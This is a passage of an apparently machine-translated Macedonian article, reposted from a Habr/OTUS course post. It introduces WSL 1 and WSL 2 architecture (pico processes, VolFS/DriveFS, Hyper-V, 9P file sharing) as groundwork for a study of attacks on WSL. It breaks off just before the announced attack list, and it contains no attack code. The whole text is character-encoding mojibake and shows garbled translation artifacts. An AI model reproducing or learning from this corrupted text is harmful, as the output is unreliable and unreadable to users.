ΠΠ΄ΡΠ°Π²ΠΎ, Π₯Π°Π±Ρ! OTUS Π»Π°Π½ΡΠΈΡΠ° Π½ΠΎΠ² ΡΠ΅ΠΊ Π½Π° ΠΊΡΡΡΠ΅Π²ΠΈ Π²ΠΎ ΠΎΠΊΡΠΎΠΌΠ²ΡΠΈ
ΠΠΎ 2016 Π³ΠΎΠ΄ΠΈΠ½Π°, ΠΠ°ΡΠΊΡΠΎΡΠΎΡΡ ΡΠ° ΠΏΡΠ΅ΡΡΡΠ°Π²ΠΈ Π½ΠΎΠ²Π°ΡΠ° WSL ΡΠ΅Ρ
Π½ΠΎΠ»ΠΎΠ³ΠΈΡΠ° Π½Π° ΠΠ’ Π·Π°Π΅Π΄Π½ΠΈΡΠ°ΡΠ° (WΠΈΠ½Π΄ΠΎΡΡ SΠΏΠΎΡΡΠΈΡΡΠ΅ΠΌ Π·Π° Linux), ΡΡΠΎ Π²ΠΎ ΠΈΠ΄Π½ΠΈΠ½Π° ΠΎΠ²ΠΎΠ·ΠΌΠΎΠΆΠΈ Π΄Π° ΡΠ΅ ΠΎΠ±Π΅Π΄ΠΈΠ½Π°Ρ ΠΏΡΠ΅ΡΡ
ΠΎΠ΄Π½ΠΎ Π½Π΅ΠΏΠΎΠΌΠΈΡΠ»ΠΈΠ²ΠΈΡΠ΅ ΠΊΠΎΠ½ΠΊΡΡΠ΅Π½ΡΠΈ ΠΊΠΎΠΈ ΡΠ΅ Π±ΠΎΡΠ΅Π° Π·Π° ΠΏΠΎΠΏΡΠ»Π°ΡΠ½ΠΎΡΡ ΠΈ ΠΊΠ°Ρ ΠΎΠ±ΠΈΡΠ½ΠΈΡΠ΅ ΠΈ ΠΊΠ°Ρ Π½Π°ΠΏΡΠ΅Π΄Π½ΠΈΡΠ΅ ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΈ Π½Π° ΠΠ‘: Windows ΠΈ Linux. ΠΠ²Π°Π° ΡΠ΅Ρ
Π½ΠΎΠ»ΠΎΠ³ΠΈΡΠ° ΠΎΠ²ΠΎΠ·ΠΌΠΎΠΆΠΈ Π΄Π° ΡΠ΅ ΠΊΠΎΡΠΈΡΡΠ°Ρ Π°Π»Π°ΡΠΊΠΈ Π·Π° Linux OS Π²ΠΎ ΠΎΠΊΠΎΠ»ΠΈΠ½Π° Π½Π° Windows Π±Π΅Π· ΠΏΠΎΡΡΠ΅Π±Π° Π΄Π° ΡΠ΅ ΡΡΠ°ΡΡΡΠ²Π° Linux, Π½Π° ΠΏΡΠΈΠΌΠ΅Ρ, ΡΠΎ ΠΊΠΎΡΠΈΡΡΠ΅ΡΠ΅ Π½Π° Multi-boot. ΠΠ° Habr ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° Π½Π°ΡΠ΄Π΅ΡΠ΅ Π³ΠΎΠ»Π΅ΠΌ Π±ΡΠΎΡ Π½Π°ΠΏΠΈΡΠΈ ΠΊΠΎΠΈ Π³ΠΈ ΠΎΠΏΠΈΡΡΠ²Π°Π°Ρ ΠΏΡΠΈΠ΄ΠΎΠ±ΠΈΠ²ΠΊΠΈΡΠ΅ ΠΎΠ΄ ΠΊΠΎΡΠΈΡΡΠ΅ΡΠ΅ΡΠΎ Π½Π° WSL. Π‘Π΅ΠΏΠ°ΠΊ, Π·Π° ΠΆΠ°Π», Π²ΠΎ Π²ΡΠ΅ΠΌΠ΅ΡΠΎ Π½Π° ΡΠΎΠ·Π΄Π°Π²Π°ΡΠ΅ΡΠΎ Π½Π° ΠΎΠ²ΠΎΡ Π½Π°ΠΏΠΈΡ, Π½Π΅ Π±Π΅Π° ΠΏΡΠΎΠ½Π°ΡΠ΄Π΅Π½ΠΈ ΡΡΡΠ΄ΠΈΠΈ Π·Π° Π±Π΅Π·Π±Π΅Π΄Π½ΠΎΡΡΠ° Π½Π° ΡΠ°ΠΊΠ²Π°ΡΠ° ΡΠΈΠΌΠ±ΠΈΠΎΠ·Π° Π½Π° ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΡΠ΅ ΡΠΈΡΡΠ΅ΠΌΠΈ Π½Π° ΠΎΠ²ΠΎΡ ΡΠ΅ΡΡΡΡ. ΠΠ²ΠΎΡ ΠΏΠΎΡΡ ΡΠ΅ Π±ΠΈΠ΄Π΅ ΠΎΠ±ΠΈΠ΄ Π΄Π° ΡΠ΅ ΠΏΠΎΠΏΡΠ°Π²ΠΈ ΠΎΠ²Π°. ΠΠ°ΠΏΠΈΡΠΎΡ ΡΠ΅ Π·Π±ΠΎΡΡΠ²Π° Π·Π° ΠΊΠ°ΡΠ°ΠΊΡΠ΅ΡΠΈΡΡΠΈΠΊΠΈΡΠ΅ Π½Π° Π°ΡΡ
ΠΈΡΠ΅ΠΊΡΡΡΠΈΡΠ΅ WSL 1 ΠΈ 2 ΠΈ ΡΠ΅ ΠΈΡΠΏΠΈΡΠ° Π½Π΅ΠΊΠΎΠ»ΠΊΡ ΠΏΡΠΈΠΌΠ΅ΡΠΈ Π½Π° Π½Π°ΠΏΠ°Π΄ΠΈ Π²ΡΠ· ΡΠΈΡΡΠ΅ΠΌΠΈ ΠΊΠΎΠΈ Π³ΠΈ ΠΊΠΎΡΠΈΡΡΠ°Ρ ΠΎΠ²ΠΈΠ΅ ΡΠ΅Ρ
Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ. Π‘ΡΠ°ΡΠΈΡΠ°ΡΠ° Π΅ ΠΏΠΎΠ΄Π΅Π»Π΅Π½Π° Π½Π° 2 Π΄Π΅Π»Π°. ΠΡΠ²ΠΈΠΎΡ ΡΠ΅ Π³ΠΈ ΠΎΠ±Π΅Π·Π±Π΅Π΄ΠΈ Π³Π»Π°Π²Π½ΠΈΡΠ΅ ΡΠ΅ΠΎΡΠ΅ΡΡΠΊΠΈ ΠΌΠ΅ΡΠΎΠ΄ΠΈ Π·Π° Π½Π°ΠΏΠ°Π΄ ΠΎΠ΄ Linux ΠΈ Windows. ΠΡΠΎΡΠ°ΡΠ° ΡΡΠ°ΡΠΈΡΠ° ΡΠ΅ Π²ΠΊΠ»ΡΡΠΈ ΠΏΠΎΡΡΠ°Π²ΡΠ²Π°ΡΠ΅ Π½Π° ΡΠ΅ΡΡ ΡΡΠ΅Π΄ΠΈΠ½Π° ΠΈ ΡΠ΅ΠΏΡΠΎΠ΄ΡΠΊΡΠΈΡΠ° Π½Π° Π½Π°ΠΏΠ°Π΄ΠΈΡΠ΅.
WSL 1: Π°ΡΡ ΠΈΡΠ΅ΠΊΡΠΎΠ½ΡΠΊΠΈ ΠΊΠ°ΡΠ°ΠΊΡΠ΅ΡΠΈΡΡΠΈΠΊΠΈ
ΠΠ° Π½Π°ΡΠΏΡΠ΅ΡΠΈΠ·Π½ΠΎ Π½ΡΡΠ½Π΅ Π²ΠΎ Π±Π΅Π·Π±Π΅Π΄Π½ΠΎΡΠ½ΠΈΡΠ΅ ΠΏΡΠ°ΡΠ°ΡΠ° Π½Π° WSL, Π½Π΅ΠΎΠΏΡ ΠΎΠ΄Π½ΠΎ Π΅ Π΄Π° ΡΠ΅ ΡΡΠ²ΡΠ΄Π°Ρ Π³Π»Π°Π²Π½ΠΈΡΠ΅ Π½ΠΈΡΠ°Π½ΡΠΈ ΠΏΠΎΠ²ΡΠ·Π°Π½ΠΈ ΡΠΎ ΠΈΠΌΠΏΠ»Π΅ΠΌΠ΅Π½ΡΠ°ΡΠΈΡΠ°ΡΠ° Π½Π° ΠΏΠΎΡΡΠΈΡΡΠ΅ΠΌΠΎΡ. ΠΠ΄Π½Π° ΠΎΠ΄ Π³Π»Π°Π²Π½ΠΈΡΠ΅ ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΊΠΈ Π·Π°Π΄Π°ΡΠΈ ΡΡΠΎ Π³ΠΈ ΡΠ΅ΡΠ°Π²Π° WSL Π΅ ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡΠ° Π΄Π° ΡΠ°Π±ΠΎΡΠΈ ΠΏΡΠ΅ΠΊΡ ΡΠ΅ΡΠΌΠΈΠ½Π°Π» ΠΠΈΠ½ΡΠΊΡ Π½Π° Π΄ΠΎΠΌΠ°ΡΠΈΠ½ ΡΠΎ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π΅Π½ ΡΠΈΡΡΠ΅ΠΌ Windows. ΠΡΡΠΎ ΡΠ°ΠΊΠ°, ΠΏΠΎΠ½ΡΠ΄Π΅Π½Π°ΡΠ° ΠΊΠΎΠΌΠΏΠ°ΡΠΈΠ±ΠΈΠ»Π½ΠΎΡΡ Π±Π΅ΡΠ΅ ΡΠΎΠ»ΠΊΡ ΠΏΡΠΈΡΠΎΠ΄Π½Π° ΡΡΠΎ ΠΈΠ·Π²ΡΡΠ½ΠΈΡΠ΅ Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈ Π½Π° ΠΠΈΠ½ΡΠΊΡ (ELF) ΠΌΠΎΠΆΠ΅Π° Π΄Π° ΡΠ΅ ΠΈΠ·Π²ΡΡΡΠ²Π°Π°Ρ Π΄ΠΈΡΠ΅ΠΊΡΠ½ΠΎ Π½Π° ΡΠΈΡΡΠ΅ΠΌΠΎΡ ΠΠΈΠ½Π΄ΠΎΡΡ. ΠΠ° Π΄Π° ΡΠ΅ ΠΏΠΎΡΡΠΈΠ³Π½Π°Ρ ΠΎΠ²ΠΈΠ΅ ΡΠ΅Π»ΠΈ, Π²ΠΎ Windows 10 Π±Π΅ΡΠ΅ ΡΠΎΠ·Π΄Π°Π΄Π΅Π½ ΡΠΏΠ΅ΡΠΈΡΠ°Π»Π΅Π½ ΠΏΠΎΡΡΠΈΡΡΠ΅ΠΌ ΠΊΠΎΡ Π²ΠΈ ΠΎΠ²ΠΎΠ·ΠΌΠΎΠΆΡΠ²Π° Π΄Π° ΠΈΠ·Π²ΡΡΡΠ²Π°ΡΠ΅ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ Π½Π° ΠΠΈΠ½ΡΠΊΡ ΠΊΠΎΡΠΈΡΡΠ΅ΡΡΠΈ Π·Π±ΠΈΡ Π½Π° ΡΠΏΠ΅ΡΠΈΡΠΈΡΠ½ΠΈ ΡΠΈΡΡΠ΅ΠΌΡΠΊΠΈ ΠΏΠΎΠ²ΠΈΡΠΈ - Π½Π° ΡΠΎΡ Π½Π°ΡΠΈΠ½, Π±Π΅ΡΠ΅ Π½Π°ΠΏΡΠ°Π²Π΅Π½ ΠΎΠ±ΠΈΠ΄ Π΄Π° ΡΠ΅ ΠΌΠ°ΠΏΠΈΡΠ° Π·Π±ΠΈΡ Π½Π° ΡΠΈΡΡΠ΅ΠΌΠΈ Π½Π° Linux Π½Π° Windows. ΠΠ²Π° Π±Π΅ΡΠ΅ ΡΠΈΠ·ΠΈΡΠΊΠΈ ΠΈΠΌΠΏΠ»Π΅ΠΌΠ΅Π½ΡΠΈΡΠ°Π½ΠΎ ΡΠΎ Π΄ΠΎΠ΄Π°Π²Π°ΡΠ΅ Π½Π° Π½ΠΎΠ²ΠΈ Π΄ΡΠ°ΡΠ²Π΅ΡΠΈ ΠΈ Π½ΠΎΠ² ΡΠΎΡΠΌΠ°Ρ Π½Π° ΠΏΡΠΎΡΠ΅Ρ. ΠΠΈΠ·ΡΠ΅Π»Π½ΠΎ Π°ΡΡ ΠΈΡΠ΅ΠΊΡΡΡΠ°ΡΠ° ΠΈΠ·Π³Π»Π΅Π΄Π°ΡΠ΅ Π²Π°ΠΊΠ°:
ΠΡΡΡΠ½ΠΎΡΡ, ΠΈΠ½ΡΠ΅ΡΠ°ΠΊΡΠΈΡΠ°ΡΠ° ΡΠΎ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ ΠΠΈΠ½ΡΠΊΡ Π±Π΅ΡΠ΅ ΠΎΡΠ³Π°Π½ΠΈΠ·ΠΈΡΠ°Π½Π° ΠΏΡΠ΅ΠΊΡ Π½Π΅ΠΊΠΎΠ»ΠΊΡ ΠΊΠ΅ΡΠ½Π΅Π»-ΠΌΠΎΠ΄ΡΠ»ΠΈ ΠΈ ΠΏΠΎΡΠ΅Π±Π΅Π½ Π²ΠΈΠ΄ ΠΏΡΠΎΡΠ΅Ρ - ΠΏΠΈΠΊΠΎ. ΠΠ΄ Π΄ΠΈΡΠ°Π³ΡΠ°ΠΌΠΎΡ ΠΏΠΎΠ³ΠΎΡΠ΅, ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° Π²ΠΈΠ΄ΠΈΡΠ΅ Π΄Π΅ΠΊΠ° ΠΏΡΠΎΡΠ΅ΡΠΎΡ ΡΡΠΎ ΡΠ΅ ΠΈΠ·Π²ΡΡΡΠ²Π° Π½Π° ΠΏΡΠΈΠΌΠ΅ΡΠΎΡ Π½Π° Linux Π½Π° Π΄ΠΎΠΌΠ°ΡΠΈΠ½ΠΎΡ ΠΌΠΎΡΠ° Π΄Π° Π±ΠΈΠ΄Π΅ ΠΌΠ°ΡΡΠΈΠ½ ΠΈ ΠΌΠΎΡΠ° Π΄Π° Π³ΠΈ ΠΊΠΎΡΠΈΡΡΠΈ ΠΈΡΡΠΈΡΠ΅ ΡΠ΅ΡΡΡΡΠΈ ΠΊΠ°ΠΊΠΎ ΠΈ ΠΎΠ±ΠΈΡΠ½ΠΈΡΠ΅ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ Π½Π° Windows. ΠΠΎ, ΠΊΠ°ΠΊΠΎ Π΄Π° ΡΠ΅ ΠΏΠΎΡΡΠΈΠ³Π½Π΅ ΠΎΠ²Π°? ΠΠΎ ΠΏΡΠΎΠ΅ΠΊΡΠΎΡ
ΠΠ°Π±Π΅Π»Π΅ΠΆΠ΅ΡΠ΅ Π΄Π΅ΠΊΠ° ΠΏΡΠ΅Π΄Π»ΠΎΠΆΠ΅Π½Π°ΡΠ° Π°ΠΏΡΡΡΠ°ΠΊΡΠΈΡΠ° ΠΎΠ²ΠΎΠ·ΠΌΠΎΠΆΠΈ Π΄Π° Π½Π΅ ΡΠ΅ ΡΠΎΠΊΡΡΠΈΡΠ°ΠΌΠ΅ Π½Π° ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ (ΠΎΡΠΎΠ±Π΅Π½ΠΎ, Windows), Π²ΠΎ ΠΊΠΎΡ ΡΠ΅ ΠΎΡΠ΅ΠΊΡΠ²Π° Π΄Π° Π·Π°ΠΏΠΎΡΠ½Π΅ ΠΏΡΠΎΡΠ΅ΡΠΎΡ Π½Π° Π΄ΡΡΠ³ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π΅Π½ ΡΠΈΡΡΠ΅ΠΌ, ΠΈ ΠΏΡΠ΅Π΄Π»ΠΎΠΆΠΈ ΠΎΠΏΡΡ ΠΏΡΠΈΡΡΠ°ΠΏ.
Π’Π°ΠΊΠ°, ΡΠ΅ΠΊΠΎΡΠ° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ° Π²ΠΎ ΡΠ°ΠΌΠΊΠΈΡΠ΅ Π½Π° ΠΏΡΠΎΡΠ΅ΡΠΎΡ Π½Π° ΠΏΠΈΠΊΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ°Π±ΠΎΡΠΈ Π±Π΅Π· ΠΎΠ³Π»Π΅Π΄ Π½Π° ΠΊΠ΅ΡΠ½Π΅Π»ΠΎΡ Π½Π° Windows:
- ΠΡΠΎΠ±Π»Π΅ΠΌΠΈΡΠ΅ ΡΠΎ ΠΊΠΎΠΌΠΏΠ°ΡΠΈΠ±ΠΈΠ»Π½ΠΎΡΡΠ° ΠΈ ΠΏΡΠ΅Π²ΠΎΠ΄ΠΎΡ Π½Π° ΡΠΈΡΡΠ΅ΠΌΡΠΊΠΈΡΠ΅ ΠΏΠΎΠ²ΠΈΡΠΈ ΠΌΠΎΡΠ° Π΄Π° Π³ΠΈ ΡΠ΅ΡΠ°Π²Π°Π°Ρ ΡΠΏΠ΅ΡΠΈΡΠ°Π»Π½ΠΈ ΠΏΡΠΎΠ²Π°ΡΠ΄Π΅ΡΠΈ;
- ΠΠΎΠ½ΡΡΠΎΠ»Π°ΡΠ° Π½Π° ΠΏΡΠΈΡΡΠ°ΠΏΠΎΡ ΠΌΠΎΡΠ° Π΄Π° ΡΠ΅ Π½Π°ΠΏΡΠ°Π²ΠΈ ΠΏΡΠ΅ΠΊΡ Π±Π΅Π·Π±Π΅Π΄Π½ΠΎΡΠ½ΠΈΠΎΡ ΠΌΠΎΠ½ΠΈΡΠΎΡ. ΠΠΎΠ½ΠΈΡΠΎΡΠΎΡ ΡΠ΅ Π½Π°ΠΎΡΠ° Π²ΠΎ ΠΊΠ΅ΡΠ½Π΅Π»ΠΎΡ ΠΈ Π·Π°ΡΠΎΠ° Π½Π° Windows ΠΌΡ ΡΡΠ΅Π±Π°ΡΠ΅ Π½Π°Π΄Π³ΡΠ°Π΄Π±Π° Π²ΠΎ ΡΠΎΡΠΌΠ° Π½Π° Π½ΠΎΠ² Π΄ΡΠ°ΡΠ²Π΅Ρ ΠΊΠΎΡ Π±ΠΈ ΠΌΠΎΠΆΠ΅Π» Π΄Π° Π΄Π΅ΡΡΡΠ²ΡΠ²Π° ΠΊΠ°ΠΊΠΎ ΠΏΡΠΎΠ²Π°ΡΠ΄Π΅Ρ Π·Π° ΡΠ°ΠΊΠ²ΠΈ ΠΏΡΠΎΡΠ΅ΡΠΈ. ΠΡΠΎΡΠΎΡΠΈΠΏΠΎΡ Π½Π° ΠΏΠΈΠΊΠΎ-ΠΏΡΠΎΡΠ΅ΡΠΎΡ Π΅ ΡΠ΅ΠΌΠ°ΡΡΠΊΠΈ ΠΏΡΠ΅ΡΡΡΠ°Π²Π΅Π½ ΠΏΠΎΠ΄ΠΎΠ»Ρ:
ΠΠΈΠ΄Π΅ΡΡΠΈ Π΄Π°ΡΠΎΡΠ΅ΡΠ½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ ΠΠΈΠ½ΡΠΊΡ ΠΊΠΎΡΠΈΡΡΠΈ ΠΈΠΌΠΈΡΠ° Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈ ΠΈ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌΠΈ ΡΡΠ²ΡΡΠ²ΠΈΡΠ΅Π»Π½ΠΈ Π½Π° Π³ΠΎΠ»Π΅ΠΌΠΈ Π±ΡΠΊΠ²ΠΈ, Π²ΠΎ Windows Π±Π΅Π° Π΄ΠΎΠ΄Π°Π΄Π΅Π½ΠΈ 2 ΡΠΈΠΏΠ° Π΄Π°ΡΠΎΡΠ΅ΡΠ½ΠΈ ΡΠΈΡΡΠ΅ΠΌΠΈ Π·Π° ΡΠ°Π±ΠΎΡΠ° ΡΠΎ WSL - VolFS ΠΈ DriveFS. VolFS Π΅ ΠΈΠΌΠΏΠ»Π΅ΠΌΠ΅Π½ΡΠ°ΡΠΈΡΠ° Π½Π° Π΄Π°ΡΠΎΡΠ΅ΡΠ΅Π½ ΡΠΈΡΡΠ΅ΠΌ Linux, DriveFS Π΅ Π΄Π°ΡΠΎΡΠ΅ΡΠ΅Π½ ΡΠΈΡΡΠ΅ΠΌ ΠΊΠΎΡ ΡΠ°Π±ΠΎΡΠΈ ΡΠΏΠΎΡΠ΅Π΄ ΠΏΡΠ°Π²ΠΈΠ»Π°ΡΠ° Π½Π° Windows, Π½ΠΎ ΠΈΠΌΠ° ΠΌΠΎΠΆΠ½ΠΎΡΡ Π΄Π° ΠΈΠ·Π±Π΅ΡΠ΅ ΡΡΠ²ΡΡΠ²ΠΈΡΠ΅Π»Π½ΠΎΡΡ Π½Π° Π³ΠΎΠ»Π΅ΠΌΠΈ Π±ΡΠΊΠ²ΠΈ.
WSL 2
WSL 1 ΠΈΠΌΠ°ΡΠ΅ Π³ΠΎΠ»Π΅ΠΌ Π±ΡΠΎΡ ΠΎΠ³ΡΠ°Π½ΠΈΡΡΠ²Π°ΡΠ° ΡΡΠΎ Π½Π΅ Π΄ΠΎΠ·Π²ΠΎΠ»ΡΠ²Π°Π° Π΄Π° ΡΠ΅ ΠΊΠΎΡΠΈΡΡΠΈ Π·Π° ΡΠ΅ΡΠ°Π²Π°ΡΠ΅ Π½Π° ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»Π½ΠΈΠΎΡ ΠΎΠΏΡΠ΅Π³ Π½Π° Π·Π°Π΄Π°ΡΠΈ: Π½Π° ΠΏΡΠΈΠΌΠ΅Ρ, Π½Π΅ΠΌΠ°ΡΠ΅ ΠΌΠΎΠΆΠ½ΠΎΡΡ Π΄Π° ΡΠ°Π±ΠΎΡΠΈ 32-Π±ΠΈΡΠ½ΠΈ Linux Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ ΠΈ Π±Π΅ΡΠ΅ Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π΄Π° ΡΠ΅ ΠΊΠΎΡΠΈΡΡΠ°Ρ Π΄Π²ΠΈΠ³Π°ΡΠ΅Π»ΠΈ Π½Π° ΡΡΠ΅Π΄ΠΈ. ΠΠ°ΡΠΎΠ°, Π²ΠΎ 2020 Π³ΠΎΠ΄ΠΈΠ½Π° Π±Π΅ΡΠ΅ ΠΎΠ±ΡΠ°Π²Π΅Π½ WSL 2, ΡΡΠΎ Π³ΠΎ ΠΏΡΠΎΠΌΠ΅Π½ΠΈ ΠΏΡΠΈΡΡΠ°ΠΏΠΎΡ ΠΊΠΎΠ½ Π³ΡΠ°Π΄Π΅ΡΠ΅ Π½Π° ΠΏΠΎΡΡΠΈΡΡΠ΅ΠΌΠΎΡ. WSL 2 Π΅ ΠΎΠΏΡΠΈΠΌΠΈΠ·ΠΈΡΠ°Π½Π° Π²ΠΈΡΡΡΠ΅Π»Π½Π° ΠΌΠ°ΡΠΈΠ½Π° ΠΊΠΎΡΠ° ΠΎΠ΄Π³ΠΎΠ²Π°ΡΠ° Π½Π° ΠΊΠ°ΡΠ°ΠΊΡΠ΅ΡΠΈΡΡΠΈΠΊΠΈΡΠ΅ Π½Π° ΠΏΠΎΡΡΠΎΡΡΠ²Π°ΡΠΊΠ°ΡΠ° Π½Π° ΡΠ΅ΡΡΡΡΠΈ Π½Π° WSL 1. Π‘Π΅Π³Π°, Π²ΠΎ Π·Π°Π²ΠΈΡΠ½ΠΎΡΡ ΠΎΠ΄ ΠΏΡΠΎΠ±Π»Π΅ΠΌΠΈΡΠ΅ ΡΡΠΎ Π³ΠΈ ΡΠ΅ΡΠ°Π²Π° ΠΊΠΎΡΠΈΡΠ½ΠΈΠΊΠΎΡ Π½Π° Windows OS, ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° ΡΠ° ΠΈΠ·Π±Π΅ΡΠ΅ΡΠ΅ ΠΏΠΎΡΡΠ΅Π±Π½Π°ΡΠ° Π²Π΅ΡΠ·ΠΈΡΠ° Π½Π° ΠΏΠΎΡΡΠΈΡΡΠ΅ΠΌΠΎΡ Linux. ΠΠ° Π΄Π° ΡΠ΅ ΡΠ±Π»Π°ΠΆΠ°Ρ ΠΌΠΎΠΆΠ½ΠΈΡΠ΅ ΠΏΡΠΎΠΏΡΡΡΠΈ, WSL 2 Π±Π΅ΡΠ΅ ΠΈΠΌΠΏΠ»Π΅ΠΌΠ΅Π½ΡΠΈΡΠ°Π½ Π²ΡΠ· ΠΎΡΠ½ΠΎΠ²Π° Π½Π° Hyper-V Π²ΠΎ Windows 10. ΠΠΎ ΠΎΠ²Π°Π° ΡΠΎΡΠΌΠ°, Windows ΠΈΠΌΠ° ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ Π΄Π° Π³ΠΎ ΡΡΠ°ΡΡΡΠ²Π° ΠΊΠ΅ΡΠ½Π΅Π»ΠΎΡ Π½Π° ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ Linux ΠΈΠ·ΠΎΠ»ΠΈΡΠ°Π½ΠΎ. ΠΡΠ΅Π΄ΠΈ Π΄Π° ΡΠ΅ Π·Π°ΠΏΠ°ΠΌΠ΅ΡΠΈ Π΄Π΅ΠΊΠ° Π²Π΅ΡΠ·ΠΈΡΠ°ΡΠ° 1 Π½Π° WSL Π±Π΅ΡΠ΅ Π²ΠΎΠ²Π΅Π΄Π΅Π½Π° ΠΊΠ°ΠΊΠΎ Π±Π΅ΡΠ° ΡΡΠ½ΠΊΡΠΈΡΠ° ΠΊΠΎΡΠ° ΡΡΠ΅Π±Π°ΡΠ΅ Π΄Π° Π³ΠΎ ΠΏΠΎΠΊΠ°ΠΆΠ΅ ΠΏΡΠ°Π²Π΅ΡΠΎΡ Π½Π° ΡΠ°Π·Π²ΠΎΡΠΎΡ Π½Π° Windows Π²ΠΎ ΠΎΠ²Π°Π° ΠΎΠ±Π»Π°ΡΡ, ΡΠ°ΠΊΠ° ΡΡΠΎ ΡΡΠ°Π½Π·ΠΈΡΠΈΡΠ°ΡΠ° ΠΊΠΎΠ½ Hyper-V Π±Π΅ΡΠ΅ Π½Π΅ΠΈΠ·Π±Π΅ΠΆΠ½Π°. ΠΠΎΠ½Π΅ΡΠ½Π°ΡΠ° Π°ΡΡ ΠΈΡΠ΅ΠΊΡΡΡΠ° ΠΈΠ·Π³Π»Π΅Π΄Π° Π²Π°ΠΊΠ°:
ΠΠΎ ΠΎΠ²Π°Π° Π²Π΅ΡΠ·ΠΈΡΠ°, ΠΊΠ΅ΡΠ½Π΅Π»ΠΈΡΠ΅ Π½Π° Windows ΠΈ Linux ΠΈΠΌΠ°Π°Ρ ΡΠ²ΠΎΠΈ ΡΠ΅ΡΡΡΡΠΈ ΠΈ ΠΏΡΠ΅ΡΠ΅ΠΊΠΎΡ ΠΏΠΎΡΡΠΎΠΈ ΡΠ°ΠΌΠΎ Π²ΠΎ Π΄Π°ΡΠΎΡΠ΅ΡΠ½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ, Π½ΠΎ ΠΎΠ²ΠΎΡ ΠΏΡΠ΅ΡΠ΅ΠΊ Π½Π΅ Π΅ ΠΊΠΎΠΌΠΏΠ»Π΅ΡΠ΅Π½. ΠΠ½ΡΠ΅ΡΠ°ΠΊΡΠΈΡΠ°ΡΠ° ΠΏΠΎΠΌΠ΅ΡΡ Π΄Π°ΡΠΎΡΠ΅ΡΠ½ΠΈΡΠ΅ ΡΠΈΡΡΠ΅ΠΌΠΈ ΡΠ΅ Π²ΡΡΠΈ ΠΏΡΠ΅ΠΊΡ ΠΎΠ±Π²ΠΈΠ²ΠΊΠ° ΠΊΠ»ΠΈΠ΅Π½Ρ-ΡΠ΅ΡΠ²Π΅Ρ ΡΡΠΎ ΡΠ°Π±ΠΎΡΠΈ ΡΠΎ ΠΏΠΎΠΌΠΎΡ Π½Π° ΠΏΡΠΎΡΠΎΠΊΠΎΠ»ΠΎΡ 9P.
ΠΠ΅Π½Π΅Ρ Microsoft ΠΎΠ±Π΅Π·Π±Π΅Π΄ΡΠ²Π° ΠΌΠΎΠΆΠ½ΠΎΡΡ Π·Π° ΠΏΡΠ΅ΡΡΠ»ΡΠ²Π°ΡΠ΅ ΠΏΠΎΠΌΠ΅ΡΡ WSL 1 ΠΈ WSL 2. ΠΠ²Π΅ΡΠ΅ Π²Π΅ΡΠ·ΠΈΠΈ ΡΠ΅ Π΄ΠΎΡΡΠ°ΠΏΠ½ΠΈ Π·Π° ΡΠΏΠΎΡΡΠ΅Π±Π°.
WSL Π±Π΅Π·Π±Π΅Π΄Π½ΠΎΡΡ
ΠΠΎ ΠΌΠΎΠΌΠ΅Π½ΡΠΎΠ², ΠΏΠΎΡΡΠΎΡΠ°Ρ Π½Π΅ΠΊΠΎΠ»ΠΊΡ Π΄Π΅Π»Π° ΠΊΠΎΠΈ ΠΎΠΏΠΈΡΡΠ²Π°Π°Ρ Π½Π΅ΠΊΠΎΠΈ ΠΏΡΠΈΡΡΠ°ΠΏΠΈ Π·Π° ΠΊΠΎΡΠΈΡΡΠ΅ΡΠ΅ Π½Π° Π»Π΅Π³ΠΈΡΠΈΠΌΠ½ΠΈ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈ Π°Π»Π°ΡΠΊΠΈ Π·Π° Π½Π°ΠΏΠ°Π΄ Π½Π° ΠΊΠΎΠΌΡΠ½ΠΈΠΊΠ°ΡΠΈΡΠ° ΠΏΠΎΠΌΠ΅ΡΡ ΠΏΠΎΡΡΠΈΡΡΠ΅ΠΌΠΈΡΠ΅. ΠΠ΅ Π³ΠΈ ΠΊΠΎΡΠΈΡΡΠΈΠΌΠ΅ Π½ΠΈΠ²Π½ΠΈΡΠ΅ ΡΠΊΡΠΈΠΏΡΠΈ Π·Π° Π΄Π° ΡΠ° ΠΏΡΠΎΠ²Π΅ΡΠΈΠΌΠ΅ ΡΠ΅Π»Π΅Π²Π°Π½ΡΠ½ΠΎΡΡΠ° Π½Π° Π½Π°ΠΏΠ°Π΄ΠΈΡΠ΅ Π²ΠΎ ΠΌΠΎΠΌΠ΅Π½ΡΠΎΡ Π½Π° ΠΏΠΈΡΡΠ²Π°ΡΠ΅. ΠΠΏΡΡΠ° Π»ΠΈΡΡΠ° Π½Π° Π½Π°ΠΏΠ°Π΄ΠΈ ΠΈ ΡΡΠ΅Π½Π°ΡΠΈΡΠ°:
